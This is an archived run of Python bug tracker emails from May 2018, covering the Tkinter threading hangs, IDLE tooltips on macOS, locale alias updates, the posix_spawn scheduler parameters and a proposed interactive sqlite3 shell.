<1525540600.14.0.682650639539.issue31628@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +belopolsky, lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 14:02:20 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 05 May 2018 18:02:20 +0000 Subject: [issue33241] Tooltip not display with macOS 64-bit installer 3.6.5 but work with macOS 64-bit/32-bit installer In-Reply-To: <1523211690.52.0.682650639539.issue33241@psf.upfronthosting.co.za> Message-ID: <1525543340.1.0.682650639539.issue33241@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This affects the popup tool tip in IDLE also. Raymond, am I correct in thinking that the labels appearing in dialogs (Preferences, Search) still work? A IDLE tool tip is a Toplevel. Its parent is a Text widget. It contains a non-blank Label widget. It is normally positioned on the lines below, with the left edge under the opening '('. IDLE also does the following, where tw is the python Toplevel instance (tooltip window) and tw._w its tk counterpart. try: # This command is only needed and available on Tk >= 8.4.0 for OSX # Without it, call tips intrude on the typing process by grabbing # the focus. tw.tk.call("::tk::unsupported::MacWindowStyle", "style", tw._w, "help", "noActivates") except TclError: pass To determine whether the popup is entirely missing or just the label, this might work. Enter the following in an IDLE editor. range 0123456789abcdef... 0123456789abcdef... Go back up and enter '(' after 'range'. A blank box should obscure '5' and to the right. ---------- assignee: -> terry.reedy components: +IDLE, macOS nosy: +rhettinger, ronaldoussoren, terry.reedy type: -> behavior versions: +Python 2.7, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 14:05:06 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 05 May 2018 18:05:06 +0000 Subject: [issue33241] Tooltip not display with macOS 64-bit installer 3.6.5 but work with macOS 64-bit/32-bit installer In-Reply-To: <1523211690.52.0.682650639539.issue33241@psf.upfronthosting.co.za> Message-ID: <1525543506.92.0.682650639539.issue33241@psf.upfronthosting.co.za> Terry J. Reedy added the comment: #33429, now closed, is Raymond's report about IDLE tooltips not working in 2.7.15, released earlier this week, after working in 2.7.14. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 14:39:47 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Sat, 05 May 2018 18:39:47 +0000 Subject: [issue33422] Fix and update string/byte literals in help() In-Reply-To: <1525390621.75.0.682650639539.issue33422@psf.upfronthosting.co.za> Message-ID: <1525545587.45.0.682650639539.issue33422@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6405 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 17:35:58 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 05 May 2018 21:35:58 +0000 Subject: [issue14384] Add "default" kw argument to operator.itemgetter and operator.attrgetter In-Reply-To: <1332378559.49.0.430445927373.issue14384@psf.upfronthosting.co.za> Message-ID: <1525556158.16.0.682650639539.issue14384@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Here are a few more thoughts and a concrete example for clarity. Itemgetter/Attrgetter were designed to make multiple lookups (possibly multi-level) and to return a tuple that need not be homogenous. A single default value likely doesn't make sense in any of those contexts. Consider: attrgetter('programmer.lang', 'team.dept') Various behaviors you might want: (o.programmer.lang if hasattr(o, 'programmer') else o.avg_joe.lang, o.team.dept) (o.programmer.lang if hasattr(o.programmer) else 'python', o.team.dept) (o.programmer.long, o.team.dept if hasattr(o.team, 'dept') else 'accounting') try: return (o.programmer.lang, o.team.dept) except AttributeError: return ('python', 'accounting') Other than the OP's example with a universal default value of None (which would like require more tests downstream), I can't think of any meaningful default value that would apply to both programmer.lang and team.dept. If this proposal is to go forward, its needs a more informative use case than the toy example provided on python-ideas: p1 = {'x': 43; 'y': 55} x, y, z = itemgetter('x', 'y', 'z', default=0)(values) print(x, y, z) 43, 55, 0 And if it does go forward, I would suggest that the semantics of default be an entire result tuple rather than a scalar applied on an attribute by attribute basis: attrgetter('programmer.lang', 'team.dept', default=('python', 'accounting')) attrgetter('temperature', 'humidity', 'altitude', default=('22?C', '50%', "0 meters MSL")) attrgetter('foo', default=None) That would still meet the OP's use case, but would be more broadly applicable and not make the assumption that every field has the same default value. Even with that improvement, users would still likely be better-off writing a function that explicitly says what they want to do. For example, the OP's use case can already be written like this: get = lambda obj: getattr(obj, 'foo', None) return get(args) or get(config) or get(env) That is easy and unambiguous. Writing a separate function allows all of the above cases to be written cleanly. There isn't any need to trick-out itemgetter() for this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 5 19:58:10 2018 From: report at bugs.python.org (Michael Klatt) Date: Sat, 05 May 2018 23:58:10 +0000 Subject: [issue33426] Behavior of os.path.join does not match documentation In-Reply-To: <1525459146.45.0.682650639539.issue33426@psf.upfronthosting.co.za> Message-ID: <1525564690.94.0.682650639539.issue33426@psf.upfronthosting.co.za> Michael Klatt added the comment: For me, the ambiguity is due to the phrases "exactly one directory separator" and "the only way to produce a trailing separator". I would suggest: "The return value is the concatenation of path and any members of *paths so that there is a directory separator (os.sep) following each part except the last. An empty part is ignored unless it is the last part, in which case the result will end in a separator." Or: "The return value is the concatenation of path and any members of *paths such that there is guaranteed to be a directory separator (os.sep) following each part except the last. An empty part is ignored unless it is the last part, in which case the result will end in a separator." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 01:46:24 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 06 May 2018 05:46:24 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525585584.31.0.682650639539.issue20087@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset cedc9b74202d8c1ae39bca261cbb45d42ed54d45 by Serhiy Storchaka in branch 'master': bpo-20087: Update locale alias mapping with glibc 2.27 supported locales. (??-6708) https://github.com/python/cpython/commit/cedc9b74202d8c1ae39bca261cbb45d42ed54d45 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 01:47:25 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 06 May 2018 05:47:25 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525585645.63.0.682650639539.issue20087@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6406 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 01:49:25 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 06 May 2018 05:49:25 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525585765.17.0.682650639539.issue20087@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6407 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 01:56:53 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 06 May 2018 05:56:53 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525586213.42.0.682650639539.issue33412@psf.upfronthosting.co.za> Terry J. Reedy added the comment: When I closed the main thread by clicking [x], thus destroying root, both event threads raised instead of hanging. So my experiment involved calling root.destroy instead of setting running to False. The better result when running under IDLE might be due to IDLE's run process executes tcl.call('update') about 20 times per second. Even if the exception idea could be made to work, it seems like a kludge. Waiting on the event threads from a separate non-gui thread and leaving the main thread fully functional and responsive until the gui threads die seems much cleaner. Perhaps this should be recommended as a standard way to shut down the main thread when there might be active gui threads. Thank you for following through with this to get a solution we both like. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 02:30:25 2018 From: report at bugs.python.org (Dong-hee Na) Date: Sun, 06 May 2018 06:30:25 +0000 Subject: [issue21592] Make statistics.median run in linear time In-Reply-To: <1401279098.1.0.387904478686.issue21592@psf.upfronthosting.co.za> Message-ID: <1525588225.72.0.682650639539.issue21592@psf.upfronthosting.co.za> Change by Dong-hee Na : ---------- pull_requests: +6408 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 03:19:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 06 May 2018 07:19:19 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525591159.09.0.682650639539.issue20087@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6409 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 03:20:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 06 May 2018 07:20:14 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525591214.93.0.682650639539.issue20087@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 6049bda21b607acc90bbabcc604997e794e8aee1 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': [3.7] bpo-20087: Update locale alias mapping with glibc 2.27 supported locales. (GH-6708) (GH-6713) https://github.com/python/cpython/commit/6049bda21b607acc90bbabcc604997e794e8aee1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 03:20:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 06 May 2018 07:20:44 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525591244.28.0.682650639539.issue20087@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset b1c70d0ffbb235def1deab62a744ffd9b5253924 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.6': [3.6] bpo-20087: Update locale alias mapping with glibc 2.27 supported locales. (GH-6708) (GH-6714) https://github.com/python/cpython/commit/b1c70d0ffbb235def1deab62a744ffd9b5253924 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 03:51:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 06 May 2018 07:51:51 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525593111.34.0.682650639539.issue20087@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset a55ac801f749a731250f3c7c1db7d546d22ae032 by Serhiy Storchaka in branch '2.7': [2.7] bpo-20087: Update locale alias mapping with glibc 2.27 supported locales. (GH-6708). (GH-6717) https://github.com/python/cpython/commit/a55ac801f749a731250f3c7c1db7d546d22ae032 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 03:54:27 2018 From: report at bugs.python.org (hexchain) Date: Sun, 06 May 2018 07:54:27 +0000 Subject: [issue33434] ^L character in Lib/email/generator.py Message-ID: <1525593267.83.0.682650639539.issue33434@psf.upfronthosting.co.za> New submission from hexchain : There is a "^L" character in line 25 of the Lib/email/generator.py file, and it seems it's there for a long time (since commit 8b3febef2f9). Is it intended or some carelessness? It does not seem to have any functional impact, though. ---------- components: Library (Lib) messages: 316229 nosy: hexchain priority: normal severity: normal status: open title: ^L character in Lib/email/generator.py versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 04:12:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 06 May 2018 08:12:55 +0000 Subject: [issue33434] ^L character in Lib/email/generator.py In-Reply-To: <1525593267.83.0.682650639539.issue33434@psf.upfronthosting.co.za> Message-ID: <1525594375.75.0.682650639539.issue33434@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is intended. Emacs use it for separating sections of code. Python parser specially supports this character. ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 04:15:25 2018 From: report at bugs.python.org (Nathaniel Smith) Date: Sun, 06 May 2018 08:15:25 +0000 Subject: [issue33434] ^L character in Lib/email/generator.py In-Reply-To: <1525593267.83.0.682650639539.issue33434@psf.upfronthosting.co.za> Message-ID: <1525594525.25.0.682650639539.issue33434@psf.upfronthosting.co.za> Nathaniel Smith added the comment: That's a "form feed" or "page break" character: https://en.wikipedia.org/wiki/Page_break Quoting that page: "The form feed character is sometimes used in plain text files of source code as a delimiter for a page break, or as marker for sections of code. Some editors, in particular emacs and vi, have built-in commands to page up/down on the form feed character. This convention is predominantly used in Lisp code, and is also seen in C and Python source code." It's perhaps a bit old-fashioned, but some of us are old-fashioned kinds of people :-). ---------- nosy: +njs -serhiy.storchaka stage: resolved -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 05:53:32 2018 From: report at bugs.python.org (Andrey Bychkov) Date: Sun, 06 May 2018 09:53:32 +0000 Subject: [issue33435] incorrect detection of information of some distributions Message-ID: <1525600412.06.0.682650639539.issue33435@psf.upfronthosting.co.za> New submission from Andrey Bychkov : In some linux distributions, the information about the distribution is incorrectly determined when the linux_distribution() method is called from the platform class. Since the information file os-release becomes a certain standard, I propose first of all to check its availability and if it is in the system, then parse the information from it. I apply the patch. It will work well with version 2.7. ---------- components: Library (Lib) files: fixed_lib_platform_os-release.patch keywords: patch messages: 316232 nosy: Andrey Bychkov priority: normal severity: normal status: open title: incorrect detection of information of some distributions type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47572/fixed_lib_platform_os-release.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 06:43:45 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 06 May 2018 10:43:45 +0000 Subject: [issue21592] Make statistics.median run in linear time In-Reply-To: <1401279098.1.0.387904478686.issue21592@psf.upfronthosting.co.za> Message-ID: <1525603425.1.0.682650639539.issue21592@psf.upfronthosting.co.za> Steven D'Aprano added the comment: How does the performance change with this patch? Quick-select is a nice idea in theory, but unless it is written in C, it is unlikely to beat sorting the list unless you have HUGE data sets. Its been nearly four years since I last did some benchmarks, but at the time there was no comparison, sorting was clearly much better (although Stefan found that select was faster than sorting). In particular, all the quickselect versions I tested suffered catastrophic performance slowdowns if the data was already sorted: anything from double the time to ten times as much time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 07:38:05 2018 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Sun, 06 May 2018 11:38:05 +0000 Subject: [issue20087] Mismatch between glibc and X11 locale.alias In-Reply-To: <1388222989.89.0.773650778168.issue20087@psf.upfronthosting.co.za> Message-ID: <1525606685.94.0.682650639539.issue20087@psf.upfronthosting.co.za> Marc-Andre Lemburg added the comment: Thanks, Serhiy. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 10:02:23 2018 From: report at bugs.python.org (Martin Panter) Date: Sun, 06 May 2018 14:02:23 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525615343.54.0.682650639539.issue20104@psf.upfronthosting.co.za> Martin Panter added the comment: To wrap ?posix_spawnattr_setschedparam? perhaps you could combine it with the scheduler policy: # Inherit current policy and parameters: posix_spawn(..., scheduler=None) # Set new policy with parameters: posix_spawn(..., scheduler=(policy, param)) # Inherit current policy but set new parameters: posix_spawn(..., scheduler=(None, param)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 10:28:15 2018 From: report at bugs.python.org (Ayush) Date: Sun, 06 May 2018 14:28:15 +0000 Subject: [issue32915] Running Python 2 with -3 flag doesn't complain about cmp/__cmp__ In-Reply-To: <1519342915.53.0.467229070634.issue32915@psf.upfronthosting.co.za> Message-ID: <1525616895.08.0.682650639539.issue32915@psf.upfronthosting.co.za> Ayush added the comment: I believe 2to3 should be able to replicate the same results of cmp function in python 3 too. I can create a PR which will allow the library to handle it. For example, a function call cmp(a,b) can be replaced with (a>b)-(a _______________________________________ From report at bugs.python.org Sun May 6 10:39:32 2018 From: report at bugs.python.org (Stefan Behnel) Date: Sun, 06 May 2018 14:39:32 +0000 Subject: [issue32915] Running Python 2 with -3 flag doesn't complain about cmp/__cmp__ In-Reply-To: <1519342915.53.0.467229070634.issue32915@psf.upfronthosting.co.za> Message-ID: <1525617572.74.0.682650639539.issue32915@psf.upfronthosting.co.za> Stefan Behnel added the comment: > cmp(a,b) can be replaced with (a>b)-(a b" and "a < b" both return something that supports the minus operator, such as a boolean value. That might not be the case, and it is definitely impossible to infer automatically from a given piece of code. Besides, even if the transformation happens to be correct in a given case, the result is definitely also very difficult to read and understand. IMHO, "but it keeps working" isn't enough of an argument here. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 11:14:51 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 06 May 2018 15:14:51 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525619691.42.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: One open question is how to construct and pass through the struct "sched_param" that ?posix_spawnattr_setschedparam? needs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 14:33:45 2018 From: report at bugs.python.org (Zachary Ware) Date: Sun, 06 May 2018 18:33:45 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1525631625.34.0.682650639539.issue33355@psf.upfronthosting.co.za> Zachary Ware added the comment: David, has anything gone wonky on those builders lately? Should we consider passing `-u-largefile` on them? ---------- nosy: +db3l _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 14:48:25 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 06 May 2018 18:48:25 +0000 Subject: [issue11077] Tkinter is not thread safe In-Reply-To: <1296488432.58.0.0945320697853.issue11077@psf.upfronthosting.co.za> Message-ID: <1525632505.45.0.682650639539.issue11077@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This issue was effectively reopened by #33257, with altered versions of TkinterCrash2-2. Serhiy's original thereof fails for me on 2.7.15. I will put details on the new issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 14:49:37 2018 From: report at bugs.python.org (Mark Lawrence) Date: Sun, 06 May 2018 18:49:37 +0000 Subject: [issue11077] Tkinter is not thread safe In-Reply-To: <1296488432.58.0.0945320697853.issue11077@psf.upfronthosting.co.za> Message-ID: <1525632577.32.0.682650639539.issue11077@psf.upfronthosting.co.za> Change by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 15:18:41 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 06 May 2018 19:18:41 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525634321.49.0.682650639539.issue33257@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This issue is effectively a re-opening and continuation of #11077. TkinterCrash2(3)-2.py are altered versions of Serhiy's file of the same name on the old issue. (Ivan, you really should have said all this at the beginning of this issue.) Serhiy, you wrote "If there no other errors in TkinterCrash2-2.py, this issue can be closed." When I ran your file on Win10 with 2.7.15 multiple times, I got messages like one or more of the following about half the runs. Exception in thread Thread-1: Traceback (most recent call last): File "C:\Programs\Python27\lib\threading.py", line 801, in __bootstrap_inner self.run() File "f:/dev/tem/thread_event27.py", line 50, in run self.deliverToQueue((self.target, z, y)) File "f:/dev/tem/thread_event27.py", line 133, in arrival_122 new_yz[1]) File "C:\Programs\Python27\lib\lib-tk\Tkinter.py", line 2322, in create_line return self._create('line', args, kw) File "C:\Programs\Python27\lib\lib-tk\Tkinter.py", line 2310, in _create *(args + self._options(cnf, kw)))) TclError: unknown or ambiguous item type "87414752LtickHook" Exception in Tkinter callback TclStackFree: incorrect freePtr. Call out of sequence? This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information. Traceback (most recent call last): File "C:\Programs\Python27\lib\lib-tk\Tkinter.py", line 1541, in __call__ return self.func(*args) TypeError: callit() takes no arguments (6 given) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 15:20:11 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 06 May 2018 19:20:11 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525634411.81.0.682650639539.issue33412@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Without thread support, event generation from multiple threads fails immediately. I tried an experiment with callback scheduling. It seems to work -- almost. thread_event.py runs on 2.7 with non-t tcl. It modifies TkinterHandlres32.py by replacing self.target.event_generate(c) with self.target.after(1, lambda t=self.target: t.event_generate(c)) to schedule the event generation in the main thread. It also imports either tkinter or Tkinter, and runs for 10 seconds self.root.after(10000,self.stop) for a more rigorous test. However, when I add 2 0s to the delay, to make it 1000 seconds, the main thread and gui crash sometime sooner (100 seconds, say), leaving the worker threads sending indefinitely. One time there was a traceback: Traceback (most recent call last): File "F:\dev\tem\thread_event.py", line 55, in Main().go() File "F:\dev\tem\thread_event.py", line 35, in go self.t_cleanup.join() AttributeError: 'Main' object has no attribute 't_cleanup' A second time, nothing appeared. I suspect that without proper locking an .after call was eventually interrupted and the pending scheduled callback data structure corrupted. Mainloop exits without t_cleanup created. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 17:20:10 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Sun, 06 May 2018 21:20:10 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525641610.7.0.682650639539.issue33412@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > Without thread support, event generation from multiple threads fails immediately. This ticket is for threaded Tcl only, so this is off topic. In nonthreaded Tcl, this script crashes rather than freezes, for an entire ly different reason that I already explained in https://bugs.python.org/issue33257 . This ticket is solved if you ask me. The only remaining matter is that there's no documentation: * on Tkinter threading model: https://docs.python.org/3/library/tk.html claims full thread safety which is untrue. * on best practices with Tkinter: as you could see, all the more or less obvious solutions are flawed. (That includes my solution: the program doesn't terminate gracefully if you close the window by hand.) I'm going to cover at least the first item as part of executing Guido's suggestion to "add a warning to the docs". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 17:24:08 2018 From: report at bugs.python.org (Michael Durso) Date: Sun, 06 May 2018 21:24:08 +0000 Subject: [issue32608] Incompatibilities with the socketserver and multiprocessing packages In-Reply-To: <1516539327.3.0.467229070634.issue32608@psf.upfronthosting.co.za> Message-ID: <1525641848.53.0.682650639539.issue32608@psf.upfronthosting.co.za> Michael Durso added the comment: I added more commits to the PR based on your comments. Although I cannot figure out why on the new Process objects create Threads that do not get cleaned up. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 17:25:49 2018 From: report at bugs.python.org (David Bolen) Date: Sun, 06 May 2018 21:25:49 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1525641949.1.0.682650639539.issue33355@psf.upfronthosting.co.za> David Bolen added the comment: Nothing for my part, but there was an Azure "maintenance" on 4/16 where both the Win8 and Win10 buildbots were migrated to "newer" hardware (the first change to their physical machine for a really long time). No word on why. The VM machine class was unchanged, and the tests run on a local disk. But perhaps there has been a performance or other impact (Spectre changes?) That seems to line up in terms of timing, for example with Win10 3.x build 795 and Win8 3.x build 831 both running the AM of 4/16 with the first failures. Oddly, I'm having trouble finding a reference to test_mmap in older Win10 3.x build logs, but on Win8 3.x builds it was definitely one of the slower tests before that point, although only in the 4-5 minute range. So not sure. Assuming it was the "upgrade" and given the persistence of the failure since, I suppose it's safer to assume this is a new normal for that platform - if skipping the particular test(s) would work, I say go for it at least for now. -- David ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 20:15:36 2018 From: report at bugs.python.org (Martin Panter) Date: Mon, 07 May 2018 00:15:36 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525652136.16.0.682650639539.issue20104@psf.upfronthosting.co.za> Martin Panter added the comment: Can you use the existing sched_param class? https://docs.python.org/3/library/os.html#os.sched_param ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 20:27:52 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 07 May 2018 00:27:52 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525652872.92.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Thanks! I have updated the PR and added tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 21:47:00 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 07 May 2018 01:47:00 +0000 Subject: [issue33436] Add an interactive shell for Sqlite3 Message-ID: <1525657620.33.0.682650639539.issue33436@psf.upfronthosting.co.za> New submission from Raymond Hettinger : To facilitate rapid experimentation with SQL queries, add a shell to run commands and display results. Attached is minimal proof-of-concept modeled loosely on the Linux sqlite3 REPL. Here's a sample session: SQLite version 2.6.0 Enter "help" for usage hints sqlite> open Irises.db sqlite> select distinct species from irises ('Iris-setosa',) ('Iris-versicolor',) ('Iris-virginica',) sqlite> select species, avg(pet_len), avg(sep_len) from irises group by species ('Iris-setosa', 1.464, 5.005999999999999) ('Iris-versicolor', 4.26, 5.936) ('Iris-virginica', 5.552, 6.587999999999998) sqlite> select count(*) from irises (150,) sqlite> quit ---------- components: Library (Lib) files: sqlite3_repl.py messages: 316248 nosy: rhettinger priority: normal severity: normal status: open title: Add an interactive shell for Sqlite3 type: enhancement versions: Python 3.8 Added file: https://bugs.python.org/file47573/sqlite3_repl.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 6 23:03:40 2018 From: report at bugs.python.org (paul j3) Date: Mon, 07 May 2018 03:03:40 +0000 Subject: [issue22848] Subparser help does not respect SUPPRESS argument In-Reply-To: <1415728297.74.0.809984326992.issue22848@psf.upfronthosting.co.za> Message-ID: <1525662220.63.0.682650639539.issue22848@psf.upfronthosting.co.za> paul j3 added the comment: I've attached a file that tries out the idea of building a custom `metavar` in the `add_parser` method. It subclasses argparse._SubParsersAction, and registers it with the parser. No other modification to production code is required. Subparsers with a blank `help`, appear in the choices, but not the helps. Subparsers with a SUPPRESS don't appear in either, but can still appear in error messages If everything is SUPPRESS, the metavar is '{}'. I have not tried to handle the case where the user provides his own 'metavar'. The regular class can handle that just fine. There are too many untested edge cases to add this to production, but if anyone wants to try it, feedback will be welcomed. This makes SUPPRESS in the subparser help behave more like SUPPRESS in the regular Action help. Otherwise a custom 'metavar' works just as well. ---------- Added file: https://bugs.python.org/file47574/issue22848.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 00:34:33 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 07 May 2018 04:34:33 +0000 Subject: [issue33351] Support compiling with clang-cl on Windows In-Reply-To: <1524631004.17.0.682650639539.issue33351@psf.upfronthosting.co.za> Message-ID: <1525667673.2.0.682650639539.issue33351@psf.upfronthosting.co.za> Gregory P. Smith added the comment: FWIW, I would _love_ to see this. But I don't wrangle Windows myself so I can't usefully offer anything other than being happy to volunteer to run a Clang on Windows buildbot VM once there is something to actually be run. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 00:50:29 2018 From: report at bugs.python.org (Paul Goins) Date: Mon, 07 May 2018 04:50:29 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1525668629.95.0.682650639539.issue33355@psf.upfronthosting.co.za> Paul Goins added the comment: For what it's worth as a newbie here, I'll add my 2 cents. (This is partially copied from my mail on python-dev.) The one thing which I did notice between the last builds which passed and the current builds is, under the "10 slowest tests" header, test_io has shot up in terms of time to complete: 3.6: from 2 min 13 sec (passing) to 9 min 25 sec (tests timing out) 3.7: from 2 min 10 sec (passing) to 9 min 26 sec (tests timing out) 3.x: from 3 min 39 sec (passing) to 9 min 17 sec (tests timing out) i.e. roughly 3x longer to run this test suite. I did a local sanity test of that particular test suite, comparing the last passing changeset from 3.x with the HEAD of master, and I saw no difference in performance. Thus, my bet is on a build agent related issue such as running low on disk space. The Azure changes mentioned seems also a possible culprit. ---------- nosy: +pdgoins _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 7 01:39:58 2018 From: report at bugs.python.org (David Bolen) Date: Mon, 07 May 2018 05:39:58 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1525671598.67.0.682650639539.issue33355@psf.upfronthosting.co.za> 